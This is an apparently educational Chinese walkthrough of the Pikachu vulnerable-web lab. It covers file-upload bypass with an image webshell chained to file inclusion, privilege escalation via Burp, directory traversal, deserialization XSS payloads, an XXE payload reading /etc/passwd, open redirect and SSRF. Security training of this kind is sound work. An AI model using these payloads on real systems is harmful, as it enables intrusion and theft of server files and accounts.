MIME(多用途互联网邮件扩展类型),是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图像image等,后面定义具体的种类,常见的MIME类型,比如:

超文本标记语言文本.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg
————————————————

通过使用PHP的全局数组$_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是"name",“type”,“size”,“tmp_name"或"error”

漏洞利用

将前一关制作的test2.php一句话木马文件上传尝试,显示如下:

image-20240707171509111

重新上传,使用bp抓包,并且发送到repeater,修改content-type为图片类型,点击发送

image-20240707171925681

显示上传成功,蚁剑连接即可。

getimagesize

image-20240707163948459

漏洞利用

通过制作图片马进行绕过

原理:

getimagesize()
getimagesize():它是php提供的,通过对目标文件的16进制进行读取,通过该文件的前面几个字符串,来判断文件类型。
getmagesize()返回结果中有文件大小和文件类型。
固定的图片文件,十六进制的头部的前面的几个字符串基本上是一样的,比如说png格式的图片,所有png格式的图片前面的十六进制都是一样的。

思路:我们就是要通过伪造十六进制的头部字符串来绕过getimagesize()函数,从而达到上传的效果。

准备一张图片,这里我用之前的牢大的遗照,结合之前制作的一句话木马文件进行制作图片马,将两者放在一个文件夹下,通过命令将两个文件合并成一个AAA.png

copy /b kb.png +test2.php AAA.png

image-20240707172526008

将生成的文件AAA.png上传。

image-20240707172643002

虽然成功上传图片,但只访问图片,里面的php代码是执行不了的,所以需要想办法让其执行。
我们结合本地文件包含漏洞,上传图片路径,然后输入url和密码进行蚁剑连接即可。

http://192.168.91.128/secenvs/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.91.128/secenvs/pikachu/vul/unsafeupload/uploads/AAA.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20240707173435130

image-20240707173556578

九、越权漏洞

越权漏洞概述

image-20240703005520787

越权漏洞概述
由于没有用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。
平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。

水平越权

漏洞页面

image-20240707154510628

漏洞利用

image-20240707174025931

查看提示给出了用户名和密码

进行登录,有一个功能点击查看个人信息。显示如下

image-20240707174126519

再点击按钮时,向后台提供了一个get请求。提供了当前用户的用户名,然后后台将其信息返回到前台。我们在url中把Lucy改成其他人看看能不能查到信息。

image-20240707174302009

image-20240707174314023

直接显示出lili的信息了。虽然登录的是lucy的账号,但是却返回了lili的信息。

垂直越权

漏洞页面

image-20240707154553158

漏洞利用

image-20240707174431404

查看提示说有两个用户,admin是超级管理员

先登录超级管理员,去执行只有管理员才可以操作的新增账号的功能,用burp抓包。退出登录。登录普通用户,执行新增账号操作。如果成功,则存在垂直越权漏洞。

登录超级管理员,添加用户

image-20240707174538898

image-20240707174727084

填写用户信息后点击创建使用bp抓包

image-20240707174828828

发送到repeater,并且放包,查看数据

image-20240707174955892

退出超级管理员登录,登录普通用户

使用http历史记录查看数据包,找到登录1111用户的数据包。

image-20240707175243695

将普通用户的cookie复制(cookie就是普通用户的登录态),粘贴在重发器中所对应的cookie位置。点击发送后跟随重定向。

image-20240707175413926

image-20240707175527138

这就相当于使用普通账户登录,然后实现了添加用户操作的功能,点击发送后回到页面属性,就可以看到一个新的1111账户,说明这里存在垂直越权漏洞,可以使普通用户具有管理员权限的功能。

十、目录穿越漏洞

目录穿越漏洞概述

image-20240703005534601

漏洞页面

image-20240707152822344

漏洞利用

点击漏洞页面中的(1),(2)下方的超链接显示的都是一段文字,貌似是诗歌之类的。

实际上是向后台发送了一个文件名。我们可以修改文件名。修改成…/dir.php上级目录下的dir.php,发现可以访问,说明有路径穿越漏洞。

image-20240707153408091

十一、敏感信息泄露

敏感信息泄露漏洞概述

image-20240703005545562

敏感信息泄露概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
1、通过访问url下的目录,可以直接列出目录下的文件列表;
2、输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
3、前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

漏洞页面

image-20240707175912215

漏洞利用

查看网页源代码,首页有个find abc的提示,在源代码里寻找账号信息。成功找到测试账号lili/密码123456的提示

image-20240707180629429

使用测试的账号密码进行登录,登录成功,登录后显示了王小波的《黄金时代》经典的语句,话说我更喜欢他的另一部作品《一只特立独行的猪》

image-20240707180744509

这里的漏洞应该是程序员在设计页面的时候,由于疏忽忘记删除测试账号的信息而造成的信息泄露。

十二、PHP反序列化

php反序列化漏洞概述

image-20240703005629245

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

  $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
  

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

#漏洞例子:
class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

漏洞页面

image-20240703005800957

漏洞利用

在漏洞页面输入框中输入正常的序列化字符串

#输入正常的序列化字符串
O:1:"S":1:{s:4:"test";s:7:"pikachu";}

因为这里没有对输入的数据进行过滤。可以结合XSS漏洞来构造我们的攻击字符串。

O:1:"S":1:{s:4:"test";s:30:"<script>alert('wuhu')</script>";}

image-20240707183949068

源代码分析

源代码位置:

/vul/unserilization/unser.php

image-20240707184300621

这里的表单接受序列化后的数据进行传递。

image-20240707184456440

注意:PHP中的__construct()这个函数虽然在对象创建时会被调用,但反序列化(unserialize())的时候并不会被调用。当使用 unserialize() 函数从序列化的字符串中恢复对象时,构造函数 __construct() 不会被调用。这是因为在反序列化过程中,对象是从已有的数据恢复出来的,不需要再进行初始化。

所以这里的 __construct()没有启动任何作用!!!

下面的代码是对输入的值进行判断,当输入的值为序列化后的值时,unserialize()可以对其进行反序列化,if条件判断为假,进入else。并没有对用户输入的序列化字符串进行过滤以及识别。

image-20240707184605124

33行的代码意思是反序列化后的对象unser调用其属性 test,并且将值赋值给了 unser调用其属性test,并且将值赋值给了unser调用其属性test,并且将值赋值给了html,然后输出显示$html。

防御

  • 对反序列化数据进行校验,在反序列化操作前,对输入的序列化字符串进行校验,过滤和验证,判断数据是否合法。
  • 限制应用程序运行账户的权限,降低攻击者在利用反序列化漏洞的影响范围。
  • 所以安全序列化机制,采用安全稳定的序列化协议
  • 安全开发规范。

十三、XXE漏洞

XXE漏洞概述

image-20240703005817625

xml是一种可拓展的标记语言,可以用来存储数据,例如:我们经常看到一些.xml的文件;它还可以用来传输数据,我们可以直接将数据以xml的格式放在请求当中,发给服务器。

漏洞页面

image-20240703005833230

源代码分析

源代码位置:

/vul/xxe/xxe_1.php

image-20240707183352301

先查看他的后端代码,我们可以看到他是通过post请求来获取到前端的xml数据,然后直接给simplexml_load_string()函数进行解析,然后将解析的数据再返回到前端,后端在接收xml数据时,开启了外部实体解析,而且也没对传来的数据做任何的过滤等安全措施。

漏洞利用

#构造payload

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "XXE hahaha">
]>
<name>&hacker;</name>

将payload在漏洞页面输入框中输入,点击提交,显示如下

image-20240707182420599

可以看到直接将我们DTD中的值给返回了

可以在这里来构造一个恶意的payload,通过外部实体引用从而去获取后台服务器的本地文件信息(注:外部引用可以支持http,file,ftp等协议。)

#构造恶意payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

image-20240707182549629

可以看到成功读取到目标主机中的密码文件

十四、URL重定向

URL重定向漏洞概述

image-20240703005848623

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站。

漏洞页面

image-20240703005919344

首页有四个超链接,点击1、2行的没有反应,点击第3行跳转到刚刚的首页

点击第4行之后,页面下方出现文字(好的,希望你能坚持做你自己!),并且url地址栏发生变化

image-20240707181546843

我们可以利用url重定向来构造一些恶意网站,执行跳转。

这里我让它跳转到baidu首页,进行测试,看看是否存在漏洞。

image-20240707181737602

image-20240707181749099

跳转成功,说明存在不安全的url跳转漏洞。

十五、SSRF漏洞

SSRF漏洞概述

image-20240703005932646

15.1 SSRF(curl)

漏洞页面

image-20240707154254494

漏洞利用

点击页面中的超链接,页面显示一首诗,观察url可以看到浏览器URL中它传了一个url参数

image-20240707185442615

image-20240707185454894

源代码分析

源代码位置:/vul/ssrf/ssrf_curl.php

打开后端源代码,可以看到它是从前端获取了url请求,curl_init函数会对它进行初始化,然后curl_exec函数会去执行请求,最终又将请求结果返回到前端。

image-20240707185759013

我们可以通过传入一个其他的地址来演示。
在URL中传入百度的地址(www.baidu.com),可以看到页面显示出了百度的数据库 (它的流程和分析的源代码流程是一样的,前端传入参数,后端通过curl_exec去请求百度,最后把请求返回的百度数据返回到前端)

image-20240707185925369

我们可以通过SSRF这个漏洞,对后端服务器同一个网络的其他服务器进行相关的扫描、探测,获取更多的资源,然后更进一步的进行攻击。

15.2 SSRF(file_get_content)

漏洞页面

image-20240707154304698

漏洞利用

打开pikachu靶场,点击蓝色标签,可以看到和前面是一样的,都是通过URL上传参数到后台获取信息的

image-20240707185120054

image-20240707185152291

源代码分析

查看后端代码,它和前面的逻辑是一样的,不同的是它这里使用file_get_contents函数进行文件的读取执行,而file_get_contents函数可以对本地文件进行读取,也可以对远程文件进行读取。

image-20240707185357390

我们可以像前面测试的一样,在URL中去输入百度的地址。它一样也会通过http协议去获取百度的资源

image-20240707185306157